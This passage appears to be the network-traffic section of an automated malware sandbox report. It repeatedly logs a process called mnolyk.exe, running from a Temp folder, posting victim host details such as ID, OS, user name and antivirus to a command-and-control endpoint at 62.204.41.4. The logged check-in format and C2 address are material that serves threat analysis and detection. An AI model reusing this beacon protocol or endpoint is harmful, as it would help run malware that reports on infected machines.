Feb 6, 2023 14:16:43.045429945 CET	235	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:43.130012035 CET	236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
350	192.168.2.5	50040	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:22.709350109 CET	551	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:22.774275064 CET	551	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
351	192.168.2.5	50041	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:22.955497026 CET	552	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:23.020642996 CET	552	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
352	192.168.2.5	50042	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:23.193844080 CET	553	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:23.260596991 CET	553	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
353	192.168.2.5	50043	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:23.431242943 CET	554	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:23.497637987 CET	554	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
354	192.168.2.5	50044	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:23.661386967 CET	555	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:23.724581003 CET	555	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
355	192.168.2.5	50045	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:23.896930933 CET	556	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:23.960113049 CET	556	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
356	192.168.2.5	50046	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:24.134243011 CET	557	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:24.201291084 CET	557	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
357	192.168.2.5	50047	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:24.370968103 CET	558	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:24.436558008 CET	558	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
358	192.168.2.5	50048	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:24.617449999 CET	559	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:24.693803072 CET	559	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
359	192.168.2.5	50049	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:24.878640890 CET	560	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:24.941565990 CET	560	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.5	49726	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:43.296876907 CET	236	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:43.361358881 CET	237	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
360	192.168.2.5	50050	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:25.142674923 CET	561	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:25.208817005 CET	561	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
361	192.168.2.5	50051	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:25.382181883 CET	562	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:25.447067022 CET	562	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
362	192.168.2.5	50052	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:25.625283957 CET	563	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:25.689321041 CET	563	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
363	192.168.2.5	50053	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:25.872782946 CET	564	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:25.937591076 CET	564	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
364	192.168.2.5	50054	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:26.116806030 CET	565	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:26.183963060 CET	565	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
365	192.168.2.5	50055	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:26.352552891 CET	566	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:26.418876886 CET	566	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
366	192.168.2.5	50056	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:26.630496025 CET	567	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:26.694760084 CET	567	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
367	192.168.2.5	50057	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:26.865833998 CET	568	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:26.931377888 CET	568	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
368	192.168.2.5	50058	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:27.099529982 CET	569	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:27.164002895 CET	569	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
369	192.168.2.5	50059	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:27.376297951 CET	570	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:27.439764977 CET	570	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
